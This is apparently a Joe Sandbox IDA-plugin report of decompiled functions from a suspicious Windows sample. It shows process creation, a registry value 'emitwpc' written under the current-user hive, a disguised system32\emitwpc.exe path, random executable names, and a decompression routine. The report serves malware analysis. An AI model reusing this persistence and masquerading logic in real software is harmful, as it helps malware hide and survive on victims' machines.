Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseEventHandle$Create_snwprintf
String ID:
API String ID: 2675716504-0
Opcode ID: c7472184ef5b7840b820da36f75bc53928604b4c9868aff59c221fd28d9987ac
Instruction ID: cc25e95ae3687b705259fd4e90ffc035e573881c41ab58124691b890f587c7c1
Opcode Fuzzy Hash: c7472184ef5b7840b820da36f75bc53928604b4c9868aff59c221fd28d9987ac
Instruction Fuzzy Hash: EDF0B47A940910A7D72197609C5CBDE7A79AF95700F044454F90AA2282DF348A44DBAA

Uniqueness

Uniqueness Score: 0.01%

Function 00502031, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
processCOMMON

C-Code - Quality: 73%

			E00502031(WCHAR* __esi) {
				int _t11;
				void* _t17;
				void* _t21;

				E005017E0(_t17);
				 *(_t21 - 0x58) = 0x44;
				_t11 = CreateProcessW(__esi, 0, 0, 0, 0,  *(_t21 + 8), 0, 0, _t21 - 0x58, _t21 - 0x10);
				if(_t11 == 0) {
					goto 0x520675;
					asm("int3");
					return _t11;
				} else {
					if( *((intOrPtr*)(_t21 + 0xc)) == 0) {
						CloseHandle( *(_t21 - 0x10));
						CloseHandle( *(_t21 - 0xc));
						return 1;
					} else {
						asm("movdqu xmm0, [ebp-0x10]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00502031
0x00502039
0x00502055
0x0050205d
0x00502095
0x0050209a
0x0050209b
0x0050205f
0x00502064
0x0050207c
0x00502085
0x00502094
0x00502066
0x00502066
0x0050206b
0x00502078
0x00502078
0x00502064

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000044,?), ref: 00502055
CloseHandle.KERNEL32(?), ref: 0050207C
CloseHandle.KERNEL32(?), ref: 00502085

Strings

D, xrefs: 00502039

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: 28adcffca426e23ac4b3b0fd4a11b829a30a0cd3d29c0b6f3d1ec5e363e037b2
Instruction ID: 64894d7442f3e03a3e4142bab9ed016ea7f59266dda7be2162dfa1e253908c16
Opcode Fuzzy Hash: 28adcffca426e23ac4b3b0fd4a11b829a30a0cd3d29c0b6f3d1ec5e363e037b2
Instruction Fuzzy Hash: EDF06D31B80209BAEB214F94EC09BEDBBA8FB49700F104151FA04A92D0DBB2A550D754

Uniqueness

Uniqueness Score: 0.01%

Function 0050DF75, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
registryCOMMON

C-Code - Quality: 100%

			E0050DF75(void* __ecx, void* __edx, signed int __edi, void* __esi, void* __eflags) {
				void* _t10;
				void* _t23;

				_t21 = L00501D10(__ecx, __edx, __edi, __esi);
				if(RegCreateKeyExW(0x80000001, _t7, 0, 0, 0, 2, 0, _t23 - 4, 0) == 0) {
					RegSetValueExW( *(_t23 - 4), "emitwpc", 0, 1, _t23 - 0x20c, 2 + __edi * 2);
					RegCloseKey( *(_t23 - 4));
				}
				_t10 = L00501DB0(_t21);
				return _t10;
			}

0x0050df7d
0x0050df9d
0x0050dfba
0x0050dfc3
0x0050dfc3
0x0050dfcb
0x0050dfd5

APIs

RegCreateKeyExW.ADVAPI32(80000001,00000000,00000000,00000000,00000000,00000002,00000000,?,00000000), ref: 0050DF95
RegSetValueExW.ADVAPI32(?,emitwpc,00000000,00000001,?,00000000), ref: 0050DFBA
RegCloseKey.ADVAPI32(?), ref: 0050DFC3

Strings

emitwpc, xrefs: 0050DFB2

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseCreateValue
String ID: emitwpc
API String ID: 1818849710-718124430
Opcode ID: 3b85ba8c2cbf22ae7cd0ccfc2fc8072b8fe84a5e3f5bc6c744edf759d291fcdc
Instruction ID: 4f6303adb92e1eefb1b7b9c1e23853cd435ab7c284321525ddff2c5f3b8cad97
Opcode Fuzzy Hash: 3b85ba8c2cbf22ae7cd0ccfc2fc8072b8fe84a5e3f5bc6c744edf759d291fcdc
Instruction Fuzzy Hash: 1FF0A772780208BBFB219750ED0BFDE3B68E740B40F204161FB05B51D1D7A16E549BD9

Uniqueness

Uniqueness Score: 4.31%

Function 0050E000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
stringCOMMON

C-Code - Quality: 68%

			E0050E000(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				 *0x513664(0, 0x23, 0, 0, __ecx);
				_t23 = lstrlenW(__ecx);
				 *((short*)(_t19 + _t23 * 2)) = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L005021E0(_t19 + _t24 * 2, _t28);
				_t25 = _t24 + _t28;
				 *((intOrPtr*)(_t19 + _t25 * 2)) = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0050e003
0x0050e00e
0x0050e01b
0x0050e022
0x0050e026
0x0050e035
0x0050e03a
0x0050e03f
0x0050e043
0x0050e04a
0x0050e052
0x0050e05a

APIs

SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000), ref: 0050E00E
lstrlenW.KERNEL32 ref: 0050E015
GetTickCount.KERNEL32 ref: 0050E027

Strings

x, xrefs: 0050E04A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CountFolderPathTicklstrlen
String ID: x
API String ID: 2993136144-2363233923
Opcode ID: 9fe6cc865e02721ebd45f645dc3abfeba4ce6c96228cf1b84ed85528438846c2
Instruction ID: f187450455356a5bc9c66f19d040c39825115631902f023e3a6431d1486d185a
Opcode Fuzzy Hash: 9fe6cc865e02721ebd45f645dc3abfeba4ce6c96228cf1b84ed85528438846c2
Instruction Fuzzy Hash: B2F027B36043047BE7200FA0DC88B453A65EF94752F044070ED05EF2D5DBB0C908C3A0

Uniqueness

Uniqueness Score: 0.02%

Function 0050D63E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
COMMON

C-Code - Quality: 50%

			E0050D63E(void* __esi) {
				void* _t2;
				void* _t7;
				void* _t9;
				void* _t11;

				 *0x513664();
				_t2 = L00501D10(0x512200, 0x10c, _t9, __esi);
				_t11 = _t2;
				 *0x513344("C:\Windows\system32", 0x104, _t11, "C:\Windows\system32", "emitwpc", 0x517393ad);
				_t7 = _t11;
				return HeapFree(GetProcessHeap(), 0, _t7);
			}

0x0050d63e
0x0050d653
0x0050d662
0x0050d66f
0x0050d678
0x00501840

APIs

SHGetFolderPathW.SHELL32 ref: 0050D63E
_snwprintf.NTDLL ref: 0050D66F

Strings

emitwpc, xrefs: 0050D658
C:\Windows\system32, xrefs: 0050D65D, 0050D66A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: FolderPath_snwprintf
String ID: C:\Windows\system32$emitwpc
API String ID: 3078599568-3283794196
Opcode ID: b05f0b65fac87a0a29073b125f8a49d640119a5128a519cd71863542c2c2e47e
Instruction ID: b00c8b960106d84fe83d86c752e41743f2a5e0878f0d81e7271e763070d68d74
Opcode Fuzzy Hash: b05f0b65fac87a0a29073b125f8a49d640119a5128a519cd71863542c2c2e47e
Instruction Fuzzy Hash: 35D0A7723C0521B7F30123581D1AAED7D11F7C1BD5B004124F5627A2C1D9B40DD487CE

Uniqueness

Uniqueness Score: 5.06%

Function 0050D6D0, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 16
UNIQUE

C-Code - Quality: 75%

			E0050D6D0(void* __esi) {
				void* _t2;
				void* _t7;
				void* _t8;
				void* _t10;
				void* _t12;

				E005017E0(_t8);
				_t2 = L00501D10(0x511f40, 0xc8, _t10, __esi);
				_t12 = _t2;
				 *0x513344("C:\Windows\system32\emitwpc.exe", 0x104, _t12, "C:\Windows\system32", "emitwpc", 0x517393ad);
				_t7 = _t12;
				return HeapFree(GetProcessHeap(), 0, _t7);
			}

0x0050d6d0
0x0050d6e4
0x0050d6f3
0x0050d700
0x0050d709
0x00501840

APIs

_snwprintf.NTDLL ref: 0050D700

Strings

emitwpc, xrefs: 0050D6E9
C:\Windows\system32, xrefs: 0050D6EE
C:\Windows\system32\emitwpc.exe, xrefs: 0050D6FB

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: _snwprintf
String ID: C:\Windows\system32$C:\Windows\system32\emitwpc.exe$emitwpc
API String ID: 3988819677-790778293
Opcode ID: 28a75880ac02c21f9a3ec99280043318a3e79f0fcc1f67dd1a4b4aab068abb99
Instruction ID: 72af0b060581256b489eccb7c66027af797d6cefcaf441dfc96a1679dcdb0194
Opcode Fuzzy Hash: 28a75880ac02c21f9a3ec99280043318a3e79f0fcc1f67dd1a4b4aab068abb99
Instruction Fuzzy Hash: DFD0A9A238092277F20023582C1BEED5C40FBC1BD4B404468B6127A2C2C8A11CC043DE

Uniqueness

Uniqueness Score: 100.00%

Function 0050E130, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

C-Code - Quality: 50%

			E0050E130(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				int _t16;
				void* _t20;
				void* _t25;
				void* _t27;

				_t25 = L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t27 - 0x428, 0x104, _t25, _t27 - 0x220);
				_t20 = _t25;
				L00501DB0(_t20);
				_push(_t27 - 0x14);
				_push( *(_t27 - 4));
				_push(_t20);
				if(L005020A0(_t27 - 0x428, __edi, __fp0) != 0) {
					CloseHandle( *(_t27 - 0x14));
					CloseHandle( *(_t27 - 0x10));
				}
				_t16 = CloseHandle( *(_t27 - 4));
				return _t16;
			}

0x0050e135
0x0050e14b
0x0050e154
0x0050e156
0x0050e15e
0x0050e15f
0x0050e168
0x0050e173
0x0050e178
0x0050e181
0x0050e181
0x0050e18a
0x0050e194

APIs

_snwprintf.NTDLL ref: 0050E14B
CloseHandle.KERNEL32(?), ref: 0050E178
CloseHandle.KERNEL32(?), ref: 0050E181
CloseHandle.KERNEL32(?), ref: 0050E18A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseHandle$_snwprintf
String ID:
API String ID: 2398838028-0
Opcode ID: b7c472764d0cd43bf56b7a9416a0b40a1888a7b38bde500055f3c0baa32df1d0
Instruction ID: 1c5046c74d21a75c7cc5175d091edca846df43cec03f33b037c5e74848373937
Opcode Fuzzy Hash: b7c472764d0cd43bf56b7a9416a0b40a1888a7b38bde500055f3c0baa32df1d0
Instruction Fuzzy Hash: CEF03072940019BBCF10ABA0DD4D9EEBB39FB44314F100595F905A2051DE318F54DB65

Uniqueness

Uniqueness Score: 0.01%

Function 00505EE5, Relevance: 5.1, APIs: 4, Instructions: 82
COMMON

C-Code - Quality: 68%

			E00505EE5(void* __ebx, void __edi, signed int __esi) {
				signed int _t597;
				signed int _t599;
				void* _t600;
				signed int _t610;
				signed int* _t620;
				signed int _t623;
				signed int _t640;
				signed int _t642;
				signed int _t644;
				signed int _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t690;
				unsigned int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t699;
				signed int _t709;
				signed int _t714;
				signed int _t716;
				signed int _t719;
				signed int _t721;
				signed int _t722;
				intOrPtr _t734;
				intOrPtr _t735;
				intOrPtr _t736;
				signed int _t739;
				signed int _t743;
				void* _t749;
				signed int _t754;
				signed int _t756;
				signed int _t760;
				signed int _t764;
				signed int _t767;
				signed int _t771;
				void* _t776;
				signed int _t780;
				void* _t781;
				signed int _t786;
				void* _t787;
				void* _t788;
				signed int _t793;
				signed int _t794;
				void* _t796;
				signed int _t797;
				signed int _t804;
				signed int _t806;
				intOrPtr* _t808;
				void* _t809;
				signed int _t820;
				signed int _t822;
				intOrPtr _t824;
				signed char _t828;
				intOrPtr* _t830;
				void* _t831;
				signed int _t839;
				void* _t841;
				void* _t843;
				signed int _t845;
				intOrPtr _t846;
				signed int _t856;
				signed int _t859;
				void* _t860;
				void* _t861;
				void* _t862;
				void* _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				signed char _t868;
				signed char _t871;
				intOrPtr _t873;
				signed int _t876;
				void* _t877;
				signed char _t879;
				signed int _t880;
				signed int _t881;
				signed char _t886;
				signed int _t888;
				void* _t889;
				void* _t890;
				signed int _t893;
				signed char _t894;
				intOrPtr _t896;
				intOrPtr _t898;
				void* _t901;
				signed char _t902;
				signed char _t903;
				void _t904;
				signed int _t908;
				signed char _t913;
				void* _t914;
				void* _t915;
				signed int _t918;
				void* _t923;
				signed int _t927;
				signed char _t931;
				signed int _t932;
				signed char _t935;
				signed int _t936;
				void* _t944;
				signed int _t959;
				unsigned int _t962;
				signed int _t963;
				signed int _t965;
				signed int _t969;
				signed int* _t970;
				signed char* _t975;
				void* _t976;
				void* _t981;
				signed int _t982;
				signed int _t983;
				signed int _t986;
				signed int _t987;
				signed int _t989;
				signed int _t991;
				signed int _t992;
				signed int _t995;
				signed int _t999;
				signed int _t1005;
				signed int _t1006;
				int _t1007;
				int _t1009;
				signed int _t1010;
				unsigned int _t1013;
				void* _t1017;
				intOrPtr _t1018;
				signed char _t1019;
				void _t1022;
				void* _t1024;
				signed int _t1025;
				void* _t1027;
				int _t1032;
				signed int _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1038;
				void* _t1040;
				signed int _t1042;
				signed int _t1043;
				unsigned int _t1045;
				signed int _t1046;
				unsigned int _t1048;
				signed int _t1049;
				signed char _t1057;
				void* _t1058;
				void* _t1060;
				void* _t1061;

				L0:
				while(1) {
					L0:
					_t1043 = __esi;
					_t1022 = __edi;
					_t841 = __ebx;
					_t596 = memset(__edi + 0x1b80, 0, ??);
					_t962 =  *(_t1058 - 4);
					_t1061 = _t1060 + 0xc;
					while(1) {
						L135:
						 *(_t1058 - 8) = _t893;
						__eflags = _t893 -  *((intOrPtr*)(_t1022 + 0x34));
						if(_t893 >=  *((intOrPtr*)(_t1022 + 0x34))) {
							break;
						}
						L136:
						__eflags = _t1043 - 3;
						if(_t1043 >= 3) {
							L139:
							_t927 = _t991 & 0x00000007;
							_t991 = _t991 >> 3;
							_t1043 = _t1043 - 3;
							 *(_t1058 - 4) = _t991;
							 *(_t1058 - 0x1c) = _t1043;
							_t596 =  *( *(_t1058 - 8) + 0x50fa24) & 0x000000ff;
							 *(_t596 + _t1022 + 0x1b80) = _t927;
							_t893 =  *(_t1058 - 8) + 1;
							continue;
						} else {
							while(1) {
								L137:
								__eflags = _t841 -  *(_t1058 - 0x20);
								if(_t841 >=  *(_t1058 - 0x20)) {
									break;
								}
								L138:
								_t596 = ( *_t841 & 0x000000ff) << _t1043;
								_t841 = _t841 + 1;
								_t991 = _t991 | _t596;
								 *(_t1058 - 0x18) = _t841;
								_t1043 = _t1043 + 8;
								 *(_t1058 - 4) = _t991;
								__eflags = _t1043 - 3;
								if(_t1043 < 3) {
									continue;
								} else {
									goto L139;
								}
								goto L295;
							}
							L249:
							 *_t1022 = 0xe;
							L285:
							__eflags =  *(_t1058 + 0x18) & 0x00000002;
							L286:
							L287:
							_t597 =  !=  ? 1 : _t596;
							 *(_t1058 - 0xc) = _t597;
							__eflags = _t597 - 1;
							if(_t597 != 1) {
								L288:
								__eflags = _t597 - 0xfffffffc;
								if(_t597 != 0xfffffffc) {
									L289:
									L292:
									_t642 =  *(_t1058 - 0x3c);
									__eflags = _t841 - _t642;
									if(_t841 > _t642) {
										while(1) {
											L293:
											__eflags = _t1043 - 8;
											if(_t1043 < 8) {
												goto L295;
											}
											L294:
											_t841 = _t841 - 1;
											_t1043 = _t1043 - 8;
											__eflags = _t841 - _t642;
											if(_t841 > _t642) {
												continue;
											}
											goto L295;
										}
									}
								}
							}
						}
						L295:
						_t963 =  *(_t1058 - 4);
						L296:
						 *(_t1022 + 4) = _t1043;
						asm("bts ecx, esi");
						__eflags = _t1043 - 0x20;
						_t599 =  >=  ? 0 : 0;
						_t856 = 0 ^ _t599;
						__eflags = _t1043 - 0x40;
						_t600 =  >=  ? _t856 : _t599;
						 *(_t1022 + 0x20) =  *(_t1058 - 0x28);
						_t965 =  *(_t1058 - 0x10) -  *(_t1058 + 0x10);
						__eflags =  *(_t1058 + 0x18) & 0x00000009;
						 *(_t1022 + 0x24) =  *(_t1058 - 8);
						 *(_t1022 + 0x28) =  *(_t1058 - 0x38);
						 *((intOrPtr*)(_t1022 + 0x3c)) =  *((intOrPtr*)(_t1058 - 0x48));
						 *(_t1022 + 0x38) = _t856 - 0x00000001 & _t963;
						 *(_t1058 - 0x10) = _t965;
						 *((intOrPtr*)( *((intOrPtr*)(_t1058 + 8)))) = _t841 -  *(_t1058 - 0x3c);
						_t843 =  *(_t1058 - 0xc);
						 *( *(_t1058 + 0x14)) = _t965;
						if(( *(_t1058 + 0x18) & 0x00000009) != 0) {
							L297:
							__eflags = _t843;
							if(_t843 >= 0) {
								L298:
								_t1045 =  *(_t1022 + 0x1c);
								_t859 = _t1045 & 0x0000ffff;
								_t610 = (0x5e6ea9af * _t965 >> 0x20 >> 0xb) * 0x15b0;
								_t1046 = _t1045 >> 0x10;
								 *(_t1058 - 0x3c) = _t1046;
								_t969 =  *(_t1058 - 0x10) - _t610;
								__eflags =  *(_t1058 - 0x10);
								 *(_t1058 - 0x34) = _t969;
								if( *(_t1058 - 0x10) != 0) {
									L299:
									_t845 = _t969;
									do {
										L300:
										_t970 = 0;
										 *(_t1058 + 0x14) = 0;
										__eflags = _t845 - 7;
										if(_t845 > 7) {
											L301:
											goto 0x5215c6;
											asm("int3");
											asm("int3");
											asm("int3");
											L302:
											_t1024 = _t1022 - _t610;
											__eflags = _t1024;
											do {
												L303:
												_t970 =  &(_t970[2]);
												_t861 = _t859 + ( *_t610 & 0x000000ff);
												_t862 = _t861 + ( *( *(_t1058 + 0x10) + 1) & 0x000000ff);
												_t863 = _t862 + ( *( *(_t1058 + 0x10) + 2) & 0x000000ff);
												_t864 = _t863 + ( *( *(_t1058 + 0x10) + 3) & 0x000000ff);
												_t865 = _t864 + ( *( *(_t1058 + 0x10) + 4) & 0x000000ff);
												_t866 = _t865 + ( *( *(_t1058 + 0x10) + 5) & 0x000000ff);
												_t867 = _t866 + ( *( *(_t1058 + 0x10) + 6) & 0x000000ff);
												_t859 = _t867 + ( *( *(_t1058 + 0x10) + 7) & 0x000000ff);
												_t640 =  *(_t1058 + 0x10) + 8;
												_t1046 = _t1046 + _t861 + _t862 + _t863 + _t864 + _t865 + _t866 + _t867 + _t859;
												 *(_t1058 + 0x10) = _t640;
												__eflags = _t1024 + _t640 - _t845;
												_t610 =  *(_t1058 + 0x10);
											} while (_t1024 + _t640 < _t845);
											 *(_t1058 + 0x14) = _t970;
											 *(_t1058 - 0x3c) = _t1046;
										}
										L305:
										_t1022 = 0;
										 *((intOrPtr*)(_t1058 + 8)) = 0;
										__eflags = _t970 - _t845;
										if(_t970 < _t845) {
											L306:
											__eflags = _t845 - _t970 - 2;
											if(_t845 - _t970 >= 2) {
												L307:
												_t620 =  *(_t1058 + 0x14);
												_t1049 =  *(_t1058 + 0x10);
												_t846 = 0;
												_t981 = (_t845 - _t620 - 2 >> 1) + 1;
												__eflags = _t981;
												 *(_t1058 + 0x14) = _t620 + _t981 * 2;
												do {
													L308:
													_t860 = _t859 + ( *_t1049 & 0x000000ff);
													_t623 =  *(_t1049 + 1) & 0x000000ff;
													_t1022 = _t1022 + _t860;
													_t1049 = _t1049 + 2;
													_t859 = _t860 + _t623;
													_t846 = _t846 + _t859;
													_t981 = _t981 - 1;
													__eflags = _t981;
												} while (_t981 != 0);
												_t970 =  *(_t1058 + 0x14);
												 *(_t1058 + 0x10) = _t1049;
												_t1046 =  *(_t1058 - 0x3c);
												 *((intOrPtr*)(_t1058 + 8)) = _t846;
												_t845 =  *(_t1058 - 0x34);
											}
											L310:
											__eflags = _t970 - _t845;
											if(_t970 < _t845) {
												_t975 =  *(_t1058 + 0x10);
												_t859 = _t859 + ( *_t975 & 0x000000ff);
												_t1046 = _t1046 + _t859;
												_t976 =  &(_t975[1]);
												__eflags = _t976;
												 *(_t1058 + 0x10) = _t976;
											}
											L312:
											_t610 =  *((intOrPtr*)(_t1058 + 8)) + _t1022;
											_t1046 = _t1046 + _t610;
											__eflags = _t1046;
										}
										L313:
										L314:
										_t859 = _t859 + (_t610 * _t859 >> 0x20 >> 0xf) * 0xffff000f;
										_t610 = (0x80078071 * _t1046 >> 0x20 >> 0xf) * 0xffff000f;
										_t1046 = _t1046 + _t610;
										_t586 = _t1058 - 0x10;
										 *_t586 =  *(_t1058 - 0x10) - _t845;
										__eflags =  *_t586;
										_t845 = 0x15b0;
										 *(_t1058 - 0x3c) = _t1046;
										 *(_t1058 - 0x34) = 0x15b0;
									} while ( *_t586 != 0);
									goto 0x5215ef;
									asm("int3");
								}
								L316:
								_t1048 = (_t1046 << 0x10) + _t859;
								 *(_t1022 + 0x1c) = _t1048;
								__eflags = _t843;
								if(_t843 == 0) {
									__eflags =  *(_t1058 + 0x18) & 0x00000001;
									if(( *(_t1058 + 0x18) & 0x00000001) != 0) {
										__eflags = _t1048 -  *(_t1022 + 0x10);
										_t843 =  !=  ? 0xfffffffe : _t843;
										__eflags = _t843;
									}
								}
							}
						}
						L319:
						return _t843;
						L320:
					}
					L140:
					 *((intOrPtr*)(_t1022 + 0x34)) = 0x13;
					while(1) {
						L141:
						_t694 =  *(_t1022 + 0x18);
						__eflags = _t694;
						if(_t694 >= 0) {
							break;
						}
						L218:
						_t982 =  *(_t1058 - 4);
						while(1) {
							L39:
							_t879 =  *(_t1058 - 0x20) - _t841;
							__eflags = _t879 - 4;
							if(_t879 < 4) {
								goto L58;
							}
							L40:
							_t1022 =  *(_t1058 - 0x14);
							__eflags =  *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) - 2;
							if( *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1043 - 0xf;
								if(_t1043 < 0xf) {
									_t995 =  *(_t841 + 1) & 0x000000ff;
									_t879 = _t1043;
									_t722 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | (_t995 << 0x00000008 | _t722) << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
								}
								_t596 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t596;
								__eflags = _t596;
								if(_t596 < 0) {
									L45:
									goto 0x52145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t709 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t709 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L44:
									_t879 = _t596 >> 9;
								}
								L48:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 & 0x00000100;
								if((_t880 & 0x00000100) != 0) {
									L84:
									_t881 = _t880 & 0x000001ff;
									 *(_t1058 - 8) = _t881;
									__eflags = _t881 - 0x100;
									if(_t881 != 0x100) {
										L219:
										_t673 = _t881 * 4 - 0x404;
										_t868 =  *(_t673 + 0x50f010);
										_t596 =  *(_t673 + 0x50fa48);
										 *(_t1058 - 0x38) = _t868;
										 *(_t1058 - 8) = _t596;
										__eflags = _t868;
										if(_t868 == 0) {
											L225:
											__eflags = _t1043 - 0xf;
											if(_t1043 >= 0xf) {
												L3:
												_t655 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
												 *(_t1058 - 0x1c) = _t655;
												if(_t655 < 0) {
													L5:
													goto 0x5213e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t657 = _t962 >> _t868;
														_t868 = _t868 + 1;
														_t841 =  *((short*)(_t1022 + 0x1700 + ((_t657 & 0x00000001) +  !_t841) * 2));
														__eflags = _t841;
													} while (_t841 < 0);
													 *(_t1058 - 0x1c) = _t841;
													_t841 =  *(_t1058 - 0x18);
													_t660 =  *(_t1058 - 0x1c);
												} else {
													L4:
													_t868 = _t655 >> 9;
													_t660 = _t655 & 0x000001ff;
												}
												L9:
												_t982 = _t962 >> _t868;
												_t1043 = _t1043 - _t868;
												_t871 =  *(0x50f090 + _t660 * 4);
												_t596 =  *(0x50f110 + _t660 * 4);
												 *(_t1058 - 4) = _t982;
												 *(_t1058 - 0x38) = _t871;
												 *(_t1058 - 0x28) = _t596;
												if(_t871 == 0) {
													L15:
													_t873 =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 + 0xc));
													 *((intOrPtr*)(_t1058 - 0x48)) = _t873;
													if(_t596 <= _t873 || ( *(_t1058 + 0x18) & 0x00000004) == 0) {
														L17:
														_t1022 =  *(_t1058 - 0x14);
														_t876 = (_t873 - _t596 &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc));
														 *(_t1058 - 0xc) = _t876;
														_t662 =  >  ?  *(_t1058 - 0x10) : _t876;
														_t877 =  *(_t1058 - 8);
														_t663 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877;
														_t1075 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877 -  *((intOrPtr*)(_t1058 - 0x40));
														if(( >  ?  *(_t1058 - 0x10) : _t876) + _t877 <=  *((intOrPtr*)(_t1058 - 0x40))) {
															L21:
															__eflags = _t877 - 9;
															if(_t877 < 9) {
																L30:
																goto 0x521420;
																asm("int3");
																do {
																	L32:
																	_t877 = _t877 - 3;
																	 *_t1022 =  *_t982 & 0x000000ff;
																	 *((char*)(_t1022 + 1)) =  *(_t982 + 1) & 0x000000ff;
																	_t666 =  *(_t982 + 2) & 0x000000ff;
																	_t982 = _t982 + 3;
																	 *(_t1022 + 2) = _t666;
																	_t1022 = _t1022 + 3;
																	__eflags = _t877 - 2;
																} while (_t877 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t877 -  *(_t1058 - 0x28);
																if(_t877 >  *(_t1058 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1042 =  *(_t1058 - 0xc);
																	_t959 =  *(_t1058 - 0x10);
																	_t828 = (_t877 & 0xfffffff8) + _t1042;
																	 *(_t1058 - 0x24) = _t828;
																	_t1019 = _t828;
																	do {
																		L24:
																		 *_t959 =  *_t1042;
																		_t830 =  *((intOrPtr*)(_t1042 + 4));
																		_t1042 = _t1042 + 8;
																		 *((intOrPtr*)(_t959 + 4)) = _t830;
																		_t959 = _t959 + 8;
																		__eflags = _t1042 - _t1019;
																	} while (_t1042 < _t1019);
																	_t982 =  *(_t1058 - 4);
																	 *(_t1058 - 0x10) = _t959;
																	_t877 =  *(_t1058 - 8) & 0x00000007;
																	 *(_t1058 - 0xc) = _t1042;
																	_t1022 =  *(_t1058 - 0x14);
																	 *(_t1058 - 8) = _t877;
